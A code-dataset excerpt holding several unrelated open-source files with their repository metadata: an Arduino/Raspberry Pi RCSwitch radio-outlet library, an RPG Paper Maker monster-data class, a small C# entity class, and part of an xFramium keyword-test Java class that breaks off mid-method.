according to discussion on issue #14 it might be more suitable to set the separation // limit to the same time as the 'low' part of the sync signal for the current protocol. unsigned int RCSwitch::timings[RCSWITCH_MAX_CHANGES]; #endif RCSwitch::RCSwitch() : virtualGroveConnector() { this->nTransmitterPin = -1; this->setRepeatTransmit(10); this->setProtocol(1); #if not defined( RCSwitchDisableReceiving ) this->nReceiverInterrupt = -1; this->setReceiveTolerance(60); RCSwitch::nReceivedValue = 0; #endif } /** * Sets the protocol to send. */ void RCSwitch::setProtocol(Protocol protocol) { this->protocol = protocol; } /** * Sets the protocol to send, from a list of predefined protocols */ void RCSwitch::setProtocol(int nProtocol) { if (nProtocol < 1 || nProtocol > numProto) { nProtocol = 1; // TODO: trigger an error, e.g. "bad protocol" ??? } memcpy_P(&this->protocol, &proto[nProtocol-1], sizeof(Protocol)); } /** * Sets the protocol to send with pulse length in microseconds. */ void RCSwitch::setProtocol(int nProtocol, int nPulseLength) { setProtocol(nProtocol); this->setPulseLength(nPulseLength); } /** * Sets pulse length in microseconds */ void RCSwitch::setPulseLength(int nPulseLength) { this->protocol.pulseLength = nPulseLength; } /** * Sets Repeat Transmits */ void RCSwitch::setRepeatTransmit(int nRepeatTransmit) { this->nRepeatTransmit = nRepeatTransmit; } /** * Set Receiving Tolerance */ #if not defined( RCSwitchDisableReceiving ) void RCSwitch::setReceiveTolerance(int nPercent) { RCSwitch::nReceiveTolerance = nPercent; } #endif /** * Enable transmissions * * @param nTransmitterPin Arduino Pin to which the sender is connected to */ void RCSwitch::enableTransmit(int nTransmitterPin) { this->nTransmitterPin = nTransmitterPin; pinMode(this->nTransmitterPin, OUTPUT); } /** * Disable transmissions */ void RCSwitch::disableTransmit() { this->nTransmitterPin = -1; } /** * Switch a remote switch on (Type D REV) * * @param sGroup Code of the switch group (A,B,C,D) * @param nDevice Number of the switch itself (1..3) */ void RCSwitch::switchOn(char sGroup, int nDevice) { this->sendTriState( this->getCodeWordD(sGroup, nDevice, true) ); } /** * Switch a remote switch off (Type D REV) * * @param sGroup Code of the switch group (A,B,C,D) * @param nDevice Number of the switch itself (1..3) */ void RCSwitch::switchOff(char sGroup, int nDevice) { this->sendTriState( this->getCodeWordD(sGroup, nDevice, false) ); } /** * Switch a remote switch on (Type C Intertechno) * * @param sFamily Familycode (a..f) * @param nGroup Number of group (1..4) * @param nDevice Number of device (1..4) */ void RCSwitch::switchOn(char sFamily, int nGroup, int nDevice) { this->sendTriState( this->getCodeWordC(sFamily, nGroup, nDevice, true) ); } /** * Switch a remote switch off (Type C Intertechno) * * @param sFamily Familycode (a..f) * @param nGroup Number of group (1..4) * @param nDevice Number of device (1..4) */ void RCSwitch::switchOff(char sFamily, int nGroup, int nDevice) { this->sendTriState( this->getCodeWordC(sFamily, nGroup, nDevice, false) ); } /** * Switch a remote switch on (Type B with two rotary/sliding switches) * * @param nAddressCode Number of the switch group (1..4) * @param nChannelCode Number of the switch itself (1..4) */ void RCSwitch::switchOn(int nAddressCode, int nChannelCode) { this->sendTriState( this->getCodeWordB(nAddressCode, nChannelCode, true) ); } /** * Switch a remote switch off (Type B with two rotary/sliding switches) * * @param nAddressCode Number of the switch group (1..4) * @param nChannelCode Number of the switch itself (1..4) */ void RCSwitch::switchOff(int nAddressCode, int nChannelCode) { this->sendTriState( this->getCodeWordB(nAddressCode, nChannelCode, false) ); } /** * Deprecated, use switchOn(const char* sGroup, const char* sDevice) instead! * Switch a remote switch on (Type A with 10 pole DIP switches) * * @param sGroup Code of the switch group (refers to DIP switches 1..5 where "1" = on and "0" = off, if all DIP switches are on it's "11111") * @param nChannelCode Number of the switch itself (1..5) */ void RCSwitch::switchOn(const char* sGroup, int nChannel) { const char* code[6] = { "00000", "10000", "01000", "00100", "00010", "00001" }; this->switchOn(sGroup, code[nChannel]); } /** * Deprecated, use switchOff(const char* sGroup, const char* sDevice) instead! * Switch a remote switch off (Type A with 10 pole DIP switches) * * @param sGroup Code of the switch group (refers to DIP switches 1..5 where "1" = on and "0" = off, if all DIP switches are on it's "11111") * @param nChannelCode Number of the switch itself (1..5) */ void RCSwitch::switchOff(const char* sGroup, int nChannel) { const char* code[6] = { "00000", "10000", "01000", "00100", "00010", "00001" }; this->switchOff(sGroup, code[nChannel]); } /** * Switch a remote switch on (Type A with 10 pole DIP switches) * * @param sGroup Code of the switch group (refers to DIP switches 1..5 where "1" = on and "0" = off, if all DIP switches are on it's "11111") * @param sDevice Code of the switch device (refers to DIP switches 6..10 (A..E) where "1" = on and "0" = off, if all DIP switches are on it's "11111") */ void RCSwitch::switchOn(const char* sGroup, const char* sDevice) { this->sendTriState( this->getCodeWordA(sGroup, sDevice, true) ); } /** * Switch a remote switch off (Type A with 10 pole DIP switches) * * @param sGroup Code of the switch group (refers to DIP switches 1..5 where "1" = on and "0" = off, if all DIP switches are on it's "11111") * @param sDevice Code of the switch device (refers to DIP switches 6..10 (A..E) where "1" = on and "0" = off, if all DIP switches are on it's "11111") */ void RCSwitch::switchOff(const char* sGroup, const char* sDevice) { this->sendTriState( this->getCodeWordA(sGroup, sDevice, false) ); } /** * Returns a char[13], representing the code word to be sent. * A code word consists of 9 address bits, 3 data bits and one sync bit but * in our case only the first 8 address bits and the last 2 data bits were used. * A code bit can have 4 different states: "F" (floating), "0" (low), "1" (high), "S" (sync bit) * * +-----------------------------+-----------------------------+----------+----------+--------------+----------+ * | 4 bits address | 4 bits address | 1 bit | 1 bit | 2 bits | 1 bit | * | switch group | switch number | not used | not used | on / off | sync bit | * | 1=0FFF 2=F0FF 3=FF0F 4=FFF0 | 1=0FFF 2=F0FF 3=FF0F 4=FFF0 | F | F | on=FF off=F0 | S | * +-----------------------------+-----------------------------+----------+----------+--------------+----------+ * * @param nAddressCode Number of the switch group (1..4) * @param nChannelCode Number of the switch itself (1..4) * @param bStatus Whether to switch on (true) or off (false) * * @return char[13] */ char* RCSwitch::getCodeWordB(int nAddressCode, int nChannelCode, boolean bStatus) { int nReturnPos = 0; static char sReturn[13]; const char* code[5] = { "FFFF", "0FFF", "F0FF", "FF0F", "FFF0" }; if (nAddressCode < 1 || nAddressCode > 4 || nChannelCode < 1 || nChannelCode > 4) { return '\0'; } for (int i = 0; i<4; i++) { sReturn[nReturnPos++] = code[nAddressCode][i]; } for (int i = 0; i<4; i++) { sReturn[nReturnPos++] = code[nChannelCode][i]; } sReturn[nReturnPos++] = 'F'; sReturn[nReturnPos++] = 'F'; sReturn[nReturnPos++] = 'F'; if (bStatus) { sReturn[nReturnPos++] = 'F'; } else { sReturn[nReturnPos++] = '0'; } sReturn[nReturnPos] = '\0'; return sReturn; } /** * Returns a char[13], representing the code word to be send. * */ char* RCSwitch::getCodeWordA(const char* sGroup, const char* sDevice, boolean bOn) { static char sDipSwitches[13]; int i = 0; int j = 0; for (i = 0; i < 5; i++) { sDipSwitches[j++] = (sGroup[i] == '0') ? 'F' : '0'; } for (i = 0; i < 5; i++) { sDipSwitches[j++] = (sDevice[i] == '0') ? 'F' : '0'; } if (bOn) { sDipSwitches[j++] = '0'; sDipSwitches[j++] = 'F'; } else { sDipSwitches[j++] = 'F'; sDipSwitches[j++] = '0'; } sDipSwitches[j] = '\0'; return sDipSwitches; } /** * Like getCodeWord (Type C = Intertechno) */ char* RCSwitch::getCodeWordC(char sFamily, int nGroup, int nDevice, boolean bStatus) { static char sReturn[13]; int nReturnPos = 0; if ( (byte)sFamily < 97 || (byte)sFamily > 112 || nGroup < 1 || nGroup > 4 || nDevice < 1 || nDevice > 4) { return '\0'; } const char* sDeviceGroupCode = dec2binWcharfill( (nDevice-1) + (nGroup-1)*4, 4, '0' ); const char familycode[16][5] = { "0000", "F000", "0F00", "FF00", "00F0", "F0F0", "0FF0", "FFF0", "000F", "F00F", "0F0F", "FF0F", "00FF", "F0FF", "0FFF", "FFFF" }; for (int i = 0; i<4; i++) { sReturn[nReturnPos++] = familycode[ (int)sFamily - 97 ][i]; } for (int i = 0; i<4; i++) { sReturn[nReturnPos++] = (sDeviceGroupCode[3-i] == '1' ? 'F' : '0'); } sReturn[nReturnPos++] = '0'; sReturn[nReturnPos++] = 'F'; sReturn[nReturnPos++] = 'F'; if (bStatus) { sReturn[nReturnPos++] = 'F'; } else { sReturn[nReturnPos++] = '0'; } sReturn[nReturnPos] = '\0'; return sReturn; } /** * Decoding for the REV Switch Type * * Returns a char[13], representing the Tristate to be send. * A Code Word consists of 7 address bits and 5 command data bits. * A Code Bit can have 3 different states: "F" (floating), "0" (low), "1" (high) * * +-------------------------------+--------------------------------+-----------------------+ * | 4 bits address (switch group) | 3 bits address (device number) | 5 bits (command data) | * | A=1FFF B=F1FF C=FF1F D=FFF1 | 1=0FFF 2=F0FF 3=FF0F 4=FFF0 | on=00010 off=00001 | * +-------------------------------+--------------------------------+-----------------------+ * * Source: http://www.the-intruder.net/funksteckdosen-von-rev-uber-arduino-ansteuern/ * * @param sGroup Name of the switch group (A..D, resp. a..d) * @param nDevice Number of the switch itself (1..3) * @param bStatus Whether to switch on (true) or off (false) * * @return char[13] */ char* RCSwitch::getCodeWordD(char sGroup, int nDevice, boolean bStatus){ static char sReturn[13]; int nReturnPos = 0; // Building 4 bits address // (Potential problem if dec2binWcharfill not returning correct string) char *sGroupCode; switch(sGroup){ case 'a': case 'A': sGroupCode = dec2binWcharfill(8, 4, 'F'); break; case 'b': case 'B': sGroupCode = dec2binWcharfill(4, 4, 'F'); break; case 'c': case 'C': sGroupCode = dec2binWcharfill(2, 4, 'F'); break; case 'd': case 'D': sGroupCode = dec2binWcharfill(1, 4, 'F'); break; default: return '\0'; } for (int i = 0; i<4; i++) { sReturn[nReturnPos++] = sGroupCode[i]; } // Building 3 bits address // (Potential problem if dec2binWcharfill not returning correct string) char *sDevice; switch(nDevice) { case 1: sDevice = dec2binWcharfill(4, 3, 'F'); break; case 2: sDevice = dec2binWcharfill(2, 3, 'F'); break; case 3: sDevice = dec2binWcharfill(1, 3, 'F'); break; default: return '\0'; } for (int i = 0; i<3; i++) sReturn[nReturnPos++] = sDevice[i]; // fill up rest with zeros for (int i = 0; i<5; i++) sReturn[nReturnPos++] = '0'; // encode on or off if (bStatus) sReturn[10] = '1'; else sReturn[11] = '1'; // last position terminate string sReturn[12] = '\0'; return sReturn; } /** * @param sCodeWord /^[10FS]*$/ -> see getCodeWord */ void RCSwitch::sendTriState(const char* sCodeWord) { for (int nRepeat=0; nRepeat<nRepeatTransmit; nRepeat++) { int i = 0; while (sCodeWord[i] != '\0') { switch(sCodeWord[i]) { case '0': this->sendT0(); break; case 'F': this->sendTF(); break; case '1': this->sendT1(); break; } i++; } this->sendSync(); } } void RCSwitch::send(unsigned long code, unsigned int length) { this->send( this->dec2binWcharfill(code, length, '0') ); } void RCSwitch::send(const char* sCodeWord) { for (int nRepeat=0; nRepeat<nRepeatTransmit; nRepeat++) { int i = 0; while (sCodeWord[i] != '\0') { switch(sCodeWord[i]) { case '0': this->send0(); break; case '1': this->send1(); break; } i++; } this->sendSync(); } } void RCSwitch::transmit(int nHighPulses, int nLowPulses) { if (this->nTransmitterPin != -1) { #if not defined( RCSwitchDisableReceiving ) int nReceiverInterrupt_backup = nReceiverInterrupt; if (nReceiverInterrupt_backup != -1) { this->disableReceive(); } #endif digitalWrite(this->nTransmitterPin, HIGH); delayMicroseconds( this->protocol.pulseLength * nHighPulses); digitalWrite(this->nTransmitterPin, LOW); delayMicroseconds( this->protocol.pulseLength * nLowPulses); #if not defined( RCSwitchDisableReceiving ) if (nReceiverInterrupt_backup != -1) { this->enableReceive(nReceiverInterrupt_backup); } #endif } } void RCSwitch::transmit(HighLow pulses) { transmit(pulses.high, pulses.low); } /** * Sends a "0" Bit * _ * Waveform Protocol 1: | |___ * _ * Waveform Protocol 2: | |__ */ void RCSwitch::send0() { this->transmit(protocol.zero); } /** * Sends a "1" Bit * ___ * Waveform Protocol 1: | |_ * __ * Waveform Protocol 2: | |_ */ void RCSwitch::send1() { this->transmit(protocol.one); } /** * Sends a Tri-State "0" Bit * _ _ * Waveform: | |___| |___ */ void RCSwitch::sendT0() { this->send0(); this->send0(); } /** * Sends a Tri-State "1" Bit * ___ ___ * Waveform: | |_| |_ */ void RCSwitch::sendT1() { this->send1(); this->send1(); } /** * Sends a Tri-State "F" Bit * _ ___ * Waveform: | |___| |_ */ void RCSwitch::sendTF() { this->send0(); this->send1(); } /** * Sends a "Sync" Bit * _ * Waveform Protocol 1: | |_______________________________ * _ * Waveform Protocol 2: | |__________ */ void RCSwitch::sendSync() { this->transmit(protocol.syncFactor); } #if not defined( RCSwitchDisableReceiving ) /** * Enable receiving data */ void RCSwitch::enableReceive(int interrupt) { this->nReceiverInterrupt = interrupt; this->enableReceive(); } void RCSwitch::enableReceive() { if (this->nReceiverInterrupt != -1) { RCSwitch::nReceivedValue = 0; RCSwitch::nReceivedBitlength = 0; #if defined(RaspberryPi) // Raspberry Pi wiringPiISR(this->nReceiverInterrupt, INT_EDGE_BOTH, &handleInterrupt); #else // Arduino attachInterrupt(this->nReceiverInterrupt, handleInterrupt, CHANGE); #endif } } /** * Disable receiving data */ void RCSwitch::disableReceive() { #if not defined(RaspberryPi) // Arduino detachInterrupt(this->nReceiverInterrupt); #endif // For Raspberry Pi (wiringPi) you can't unregister the ISR this->nReceiverInterrupt = -1; } bool RCSwitch::available() { return RCSwitch::nReceivedValue != 0; } void RCSwitch::resetAvailable() { RCSwitch::nReceivedValue = 0; } unsigned long RCSwitch::getReceivedValue() { return RCSwitch::nReceivedValue; } unsigned int RCSwitch::getReceivedBitlength() { return RCSwitch::nReceivedBitlength; } unsigned int RCSwitch::getReceivedDelay() { return RCSwitch::nReceivedDelay; } unsigned int RCSwitch::getReceivedProtocol() { return RCSwitch::nReceivedProtocol; } unsigned int* RCSwitch::getReceivedRawdata() { return RCSwitch::timings; } /* helper function for the various receiveProtocol methods */ static inline unsigned int diff(int A, int B) { return abs(A - B); } /** * */ bool RCSwitch::receiveProtocol(const int p, unsigned int changeCount) { Protocol pro; memcpy_P(&pro, &proto[p-1], sizeof(Protocol)); unsigned long code = 0; const unsigned int delay = RCSwitch::timings[0] / pro.syncFactor.low; const unsigned int delayTolerance = delay * RCSwitch::nReceiveTolerance / 100; for (unsigned int i = 1; i < changeCount; i += 2) { code <<= 1; if (diff(RCSwitch::timings[i], delay * pro.zero.high) < delayTolerance && diff(RCSwitch::timings[i + 1], delay * pro.zero.low) < delayTolerance) { // zero } else if (diff(RCSwitch::timings[i], delay * pro.one.high) < delayTolerance && diff(RCSwitch::timings[i + 1], delay * pro.one.low) < delayTolerance) { // one code |= 1; } else { // Failed return false; } } if (changeCount > 6) { // ignore < 4bit values as there are no devices sending 4bit values => noise RCSwitch::nReceivedValue = code; RCSwitch::nReceivedBitlength = changeCount / 2; RCSwitch::nReceivedDelay = delay; RCSwitch::nReceivedProtocol = p; } return true; } void RCSwitch::handleInterrupt() { static unsigned int duration; static unsigned int changeCount; static unsigned long lastTime; static unsigned int repeatCount; long time = micros(); duration = time - lastTime; if (duration > RCSwitch::nSeparationLimit && diff(duration, RCSwitch::timings[0]) < 200) { repeatCount++; changeCount--; if (repeatCount == 2) { for(unsigned int i = 1; i <= numProto; i++ ) { if (receiveProtocol(i, changeCount)) { // receive succeeded for protocol i break; } } repeatCount = 0; } changeCount = 0; } else if (duration > RCSwitch::nSeparationLimit) { changeCount = 0; } if (changeCount >= RCSWITCH_MAX_CHANGES) { changeCount = 0; repeatCount = 0; } RCSwitch::timings[changeCount++] = duration; lastTime = time; } #endif /** * Turns a decimal value to its binary representation */ char* RCSwitch::dec2binWcharfill(unsigned long dec, unsigned int bitLength, char fill) { static char bin[32]; bin[bitLength] = '\0'; while (bitLength > 0) { bitLength--; bin[bitLength] = (dec & 1) ? '1' : fill; dec >>= 1; } return bin; }
mistert14/ardu-rasp1
lib2/TS/RCSwitch.cpp
C++
gpl-3.0
22,164
/* RPG Paper Maker Copyright (C) 2017-2021 Wano RPG Paper Maker engine is under proprietary license. This source code is also copyrighted. Use Commercial edition for commercial use of your games. See RPG Paper Maker EULA here: http://rpg-paper-maker.com/index.php/eula. */ #include "monstersdatas.h" #include "rpm.h" #include "common.h" #include "systemmonster.h" #include "lootkind.h" #include "systemloot.h" #include "systemmonsteraction.h" // ------------------------------------------------------- // // CONSTRUCTOR / DESTRUCTOR / GET / SET // // ------------------------------------------------------- MonstersDatas::MonstersDatas() { m_model = new QStandardItemModel; } MonstersDatas::~MonstersDatas() { SuperListItem::deleteModel(m_model); } void MonstersDatas::read(QString path){ RPM::readJSON(Common::pathCombine(path, RPM::PATH_MONSTERS), *this); } QStandardItemModel* MonstersDatas::model() const { return m_model; } // ------------------------------------------------------- // // INTERMEDIARY FUNCTIONS // // ------------------------------------------------------- void MonstersDatas::setDefault(QStandardItem* , QStandardItem* modelItems, QStandardItem* modelWeapons, QStandardItem* modelArmors) { SystemMonster* monster; SystemMonsterAction *action; QStandardItem* item; QList<QStandardItem *> row; QStandardItemModel* loots; QStandardItemModel* actions; SuperListItem* sys = nullptr; SystemLoot* loot; QString names[] = {RPM::translate(Translations::WOOLY)}; int classesIds[] = {5}; int battlersIds[] = {5}; int facesetsIds[] = {5}; int experiencesInitial[] = {5}; int experiencesFinal[] = {5000}; int experiencesEquation[] = {0}; QVector<int> currenciesIds[] = {QVector<int>({1})}; QVector<int> currenciesNb[] = {QVector<int>({1})}; QVector<LootKind> lootsKind[] = {QVector<LootKind>({LootKind::Item})}; QVector<int> lootsIds[] = {QVector<int>({1})}; QVector<int> lootsNb[] = { QVector<int>({1}) }; QVector<int> lootsProba[] = { QVector<int>({50}) }; QVector<int> lootsInit[] = { QVector<int>({1}) }; QVector<int> lootsFinal[] = { QVector<int>({100}) }; SystemProgressionTable *currenciesProgression[] = { new SystemProgressionTable(new PrimitiveValue(5), new PrimitiveValue( 1500), 0) }; int length = (sizeof(names)/sizeof(*names)); for (int i = 0; i < length; i++) { // Loots loots = new QStandardItemModel; for (int j = 0; j < lootsIds[i].size(); j++){ switch (lootsKind[i][j]){ case LootKind::Item: sys = SuperListItem::getById(modelItems, currenciesIds[i][j]); break; case LootKind::Weapon: sys = SuperListItem::getById(modelWeapons, currenciesIds[i][j]); break; case LootKind::Armor: sys = SuperListItem::getById(modelArmors, currenciesIds[i][j]); break; } loot = new SystemLoot(sys->id(), sys->name(), lootsKind[i][j], new PrimitiveValue(PrimitiveValueKind::DataBase, sys->id()), new PrimitiveValue(lootsNb[i][j]), new PrimitiveValue(lootsProba[i] [j]), new PrimitiveValue(lootsInit[i][j]), new PrimitiveValue( lootsFinal[i][j])); row = loot->getModelRow(); loots->appendRow(row); } item = new QStandardItem(); item->setText(SuperListItem::beginningText); loots->appendRow(item); // Actions actions = new QStandardItemModel; monster = new SystemMonster(i+1, names[i], classesIds[i], battlersIds[i], facesetsIds[i], SystemClass::createInheritanceClass(), new SystemProgressionTable(new PrimitiveValue(experiencesInitial[i]) , new PrimitiveValue(experiencesFinal[i]), experiencesEquation[i]), loots, actions); monster->insertCurrency(i + 1, currenciesProgression[i]); action = new SystemMonsterAction(-1, "", MonsterActionKind::UseSkill); action->setMonster(monster); actions->appendRow(action->getModelRow()); m_model->appendRow(monster->getModelRow()); } } // ------------------------------------------------------- // // READ / WRITE // // ------------------------------------------------------- void MonstersDatas::read(const QJsonObject &json){ // Clear SuperListItem::deleteModel(m_model, false); // Read QJsonArray jsonList = json["monsters"].toArray(); for (int i = 0; i < jsonList.size(); i++){ QStandardItem* item = new QStandardItem; SystemMonster* sysMonster = new SystemMonster; sysMonster->read(jsonList[i].toObject()); item->setData(QVariant::fromValue( reinterpret_cast<quintptr>(sysMonster))); item->setFlags(item->flags() ^ (Qt::ItemIsDropEnabled)); item->setText(sysMonster->toString()); m_model->appendRow(item); } } // ------------------------------------------------------- void MonstersDatas::write(QJsonObject &json) const{ QJsonArray jsonArray; for (int i = 0; i < m_model->invisibleRootItem()->rowCount(); i++){ QJsonObject jsonCommon; SystemMonster* sysMonster = reinterpret_cast<SystemMonster *>(m_model ->item(i)->data().value<quintptr>()); sysMonster->write(jsonCommon); jsonArray.append(jsonCommon); } json["monsters"] = jsonArray; }
Wano-k/RPG-Paper-Maker
Editor/Models/GameDatas/monstersdatas.cpp
C++
gpl-3.0
5,777
using System; namespace JavCrawl.Models.DbEntity { public partial class Servers { public int Id { get; set; } public DateTime? CreatedAt { get; set; } public string Data { get; set; } public sbyte? Default { get; set; } public DateTime? DeletedAt { get; set; } public string Description { get; set; } public sbyte? Status { get; set; } public string Title { get; set; } public string TitleAscii { get; set; } public string Type { get; set; } public DateTime? UpdatedAt { get; set; } } }
vibollmc/7816df50764af41dac934f89a19d804c
JavCrawl/JavCrawl/Models/DbEntity/Servers.cs
C#
gpl-3.0
591
/******************************************************************************* * xFramium * * Copyright 2016 by Moreland Labs, Ltd. (http://www.morelandlabs.com) * * Some open source application is free software: you can redistribute * it and/or modify it under the terms of the GNU General Public * License as published by the Free Software Foundation, either * version 3 of the License, or (at your option) any later version. * * Some open source application is distributed in the hope that it will * be useful, but WITHOUT ANY WARRANTY; without even the implied warranty * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with xFramium. If not, see <http://www.gnu.org/licenses/>. * * @license GPL-3.0+ <http://spdx.org/licenses/GPL-3.0+> *******************************************************************************/ package org.xframium.page.keyWord; import java.util.ArrayList; import java.util.Arrays; import java.util.List; import java.util.Map; import org.apache.commons.logging.Log; import org.apache.commons.logging.LogFactory; import org.openqa.selenium.WebDriver; import org.xframium.container.SuiteContainer; import org.xframium.device.cloud.CloudDescriptor; import org.xframium.device.factory.DeviceWebDriver; import org.xframium.exception.FlowException; import org.xframium.exception.ObjectConfigurationException; import org.xframium.page.Page; import org.xframium.page.PageManager; import org.xframium.page.StepStatus; import org.xframium.page.data.PageData; import org.xframium.page.keyWord.KeyWordDriver.TRACE; import org.xframium.page.keyWord.step.SyntheticStep; import org.xframium.reporting.ExecutionContextTest; import org.xframium.spi.Device; // TODO: Auto-generated Javadoc /** * The Class KeyWordTest. */ public class KeyWordTest { /** The log. */ private Log log = LogFactory.getLog( KeyWordTest.class ); /** The name. */ private String name; /** The active. */ private boolean active; /** The data providers. */ private String[] dataProviders; /** The data driver. */ private String dataDriver; /** The timed. */ private boolean timed; /** The link id. */ private String linkId; /** The os. */ private String os; /** The description. */ private String description; /** The threshold. */ private int threshold; /** The test tags. */ private String[] testTags; /** The content keys */ private String[] contentKeys; private String[] deviceTags; private String inputPage; private String outputPage; private String[] operationList; private String mode = "function"; private int priority; private int severity; private String reliesOn = null; private TRACE trace = TRACE.OFF; private List<KeyWordParameter> expectedParameters = new ArrayList<KeyWordParameter>( 5 ); private int count; /** The step list. */ private List<KeyWordStep> stepList = new ArrayList<KeyWordStep>( 10 ); public TRACE getTrace() { return trace; } public void setTrace(TRACE trace) { this.trace = trace; } public String getReliesOn() { return reliesOn; } public void setReliesOn( String reliesOn ) { this.reliesOn = reliesOn; } public int getPriority() { return priority; } public void setPriority( int priority ) { this.priority = priority; } public int getSeverity() { return severity; } public void setSeverity( int severity ) { this.severity = severity; } /** * Instantiates a new key word test. * * @param name * the name * @param active * the active * @param dataProviders * the data providers * @param dataDriver * the data driver * @param timed * the timed * @param linkId * the link id * @param os * the os * @param threshold * the threshold * @param description * the description * @param testTags * the test tags * @param contentKeys * the content keys */ public KeyWordTest( String name, boolean active, String dataProviders, String dataDriver, boolean timed, String linkId, String os, int threshold, String description, String testTags, String contentKeys, String deviceTags, Map<String,String> overrideMap, int count, String inputPage, String outputPages, String mode, String operationList, int priority, int severity, String trace ) { this.name = name; this.active = Boolean.parseBoolean( getValue( name, "active", active + "", overrideMap ) ); String dP = getValue( name, "dataProvider", dataProviders, overrideMap ); if ( dP != null ) this.dataProviders = dP.split( "," ); this.dataDriver = getValue( name, "dataDriver", dataDriver, overrideMap ); this.timed = Boolean.parseBoolean( getValue( name, "timed", timed + "", overrideMap ) ); this.linkId = getValue( name, "linkId", linkId, overrideMap ); this.os = getValue( name, "os", os, overrideMap ); if ( threshold > 0 ) { String thresholdModifier = overrideMap.get( "thresholdModifier" ); if ( thresholdModifier != null ) { double modifierPercent = ( Integer.parseInt( thresholdModifier ) / 100.0 ); double modifierValue = Math.abs( modifierPercent ) * (double) threshold; if ( modifierPercent > 0 ) this.threshold = threshold + (int)modifierValue; else this.threshold = threshold - (int)modifierValue; } } else this.threshold = threshold; this.description = getValue( name, "description", description, overrideMap ); String value = getValue( name, "testTags", testTags, overrideMap ); if ( value != null ) this.testTags = value.split( "," ); else this.testTags = new String[] { "" }; value = getValue( name, "contentKeys", contentKeys, overrideMap ); if ( value != null ) this.contentKeys = value.split( "\\|" ); else this.contentKeys = new String[] { "" }; value = getValue( name, "deviceTags", deviceTags, overrideMap ); if ( value != null && !value.trim().isEmpty() ) this.deviceTags = value.split( "," ); this.count = Integer.parseInt( getValue( name, "count", count + "", overrideMap ) ); setMode( mode ); setInputPage( inputPage ); setOutputPage( outputPages ); setOperationList( operationList ); this.priority = priority; this.severity = severity; if ( trace != null ) this.trace = TRACE.valueOf( trace ); } public List<KeyWordParameter> getExpectedParameters() { return expectedParameters; } public void setExpectedParameters( List<KeyWordParameter> expectedParameters ) { this.expectedParameters = expectedParameters; } public String getInputPage() { return inputPage; } public void setInputPage( String inputPage ) { this.inputPage = inputPage; } public String getOutputPage() { return outputPage; } public void setOutputPage( String outputPage ) { this.outputPage = outputPage; } public String[] getOperationList() { return operationList; } public void setOperationList( String[] operationList ) { this.operationList = operationList; } public void setOperationList( String operationList ) { if ( operationList != null && !operationList.trim().isEmpty() ) this.operationList = operationList.split( "," ); } public String getMode() { return mode; } public void setMode( String mode ) { this.mode = mode; } private String getValue( String testName, String attributeName, String attributeValue, Map<String,String> overrideMap ) { String keyName = testName + "." + attributeName; if ( System.getProperty( keyName ) != null ) return System.getProperty( keyName ); if ( overrideMap != null && overrideMap.containsKey( keyName ) ) return overrideMap.get( keyName ); else return attributeValue; } public int getCount() { return count; } public void setCount( int count ) { this.count = count; } public String[] getDeviceTags() { return deviceTags; } /** * Gets the data driver. * * @return the data driver */ public String getDataDriver() { return dataDriver; } public String getDescription() { return description; } public String[] getTestTags() { return testTags; } /** * Adds the step. * * @param step * the step */ public void addStep( KeyWordStep step ) { if ( log.isDebugEnabled() ) log.debug( "Adding Step [" + step.getName() + "] to [" + name + "]" ); if ( step.isStartAt() ) { log.warn( "Clearing steps out of " + getName() + " as the startAt flag was set" ); for ( KeyWordStep kS : stepList ) kS.setActive( false ); } stepList.add( step ); } /** * Get step at offset. * * @param step * the step */ public KeyWordStep getStepAt( int offset ) { return (KeyWordStep) stepList.get( offset ); } /** * Gets the data providers. * * @return the data providers */ public String[] getDataProviders() { return dataProviders; } /** * Gets the data providers. * * @return the data providers */ public String getDataProvidersAsString() { StringBuilder sBuilder = new StringBuilder(); sBuilder.append( " [" ); for ( String provider : dataProviders ) sBuilder.append( provider ).append( ", " ); sBuilder.append( "]" ); return sBuilder.toString(); } @Override public String toString() { return "KeyWordTest [name=" + name + ", active=" + active + ", dataProviders=" + Arrays.toString( dataProviders ) + ", dataDriver=" + dataDriver + ", timed=" + timed + ", linkId=" + linkId + ", os=" + os + ", description=" + description + ", threshold=" + threshold + ", testTags=" + Arrays.toString( testTags ) + ", contentKeys=" + Arrays.toString( contentKeys ) + ", deviceTags=" + Arrays.toString( deviceTags ) + "]"; } /** * Gets the name. * * @return the name */ public String getName() { return name; } /** * Sets the name. * * @param name * the new name */ public void setName( String name ) { this.name = name; } /** * Checks if is active. * * @return true, if is active */ public boolean isActive() { return active; } /** * Checks if is timed. * * @return true, if is timed */ public boolean isTimed() { return timed; } /** * Execute test. * * @param webDriver * the web driver * @param contextMap * the context map * @param dataMap * the data map * @param pageMap * the page map * @return true, if successful * @throws Exception * the exception */ public boolean executeTest( WebDriver webDriver, Map<String, Object> contextMap, Map<String, PageData> dataMap, Map<String, Page> pageMap, SuiteContainer sC, ExecutionContextTest executionContext ) throws Exception { boolean stepSuccess = true; if ( log.isInfoEnabled() ) log.info( "*** Executing Test " + name + (linkId != null ? " linked to " + linkId : "") ); long startTime = System.currentTimeMillis(); String executionId = PageManager.instance(( (DeviceWebDriver) webDriver ).getxFID()).getExecutionId( webDriver ); String deviceName = PageManager.instance(( (DeviceWebDriver) webDriver ).getxFID()).getDeviceName( webDriver ); for ( KeyWordStep step : stepList ) { if ( !step.isActive() ) continue; if ( log.isDebugEnabled() ) log.debug( "Executing Step [" + step.getName() + "]" ); Page page = null; String siteName = step.getSiteName(); if ( siteName == null || siteName.isEmpty() ) { if ( sC != null ) siteName = sC.getSiteName(); else siteName = PageManager.instance(( (DeviceWebDriver) webDriver ).getxFID()).getSiteName(); } if ( step.getPageName() != null ) { page = pageMap.get( siteName + "." + step.getPageName() ); if ( page == null ) { if ( log.isInfoEnabled() ) log.info( "Creating Page [" + siteName + "." + step.getPageName() + "]" ); page = PageManager.instance(( (DeviceWebDriver) webDriver ).getxFID()).createPage( KeyWordDriver.instance( ( (DeviceWebDriver) webDriver ).getxFID() ).getPage(step.getSiteName() != null && step.getSiteName().trim().length() > 0 ? step.getSiteName() : PageManager.instance(( (DeviceWebDriver) webDriver ).getxFID()).getSiteName(), step.getPageName() ), webDriver ); if ( page == null ) { executionContext.startStep( new SyntheticStep( step.getPageName(), "PAGE" ), contextMap, dataMap ); executionContext.completeStep( StepStatus.FAILURE, new ObjectConfigurationException( step.getSiteName() == null ? PageManager.instance(( (DeviceWebDriver) webDriver ).getxFID()).getSiteName() : step.getSiteName(), step.getPageName(), null ), null ); stepSuccess = false; return false; } pageMap.put( siteName + "." + step.getPageName(), page ); } } try { 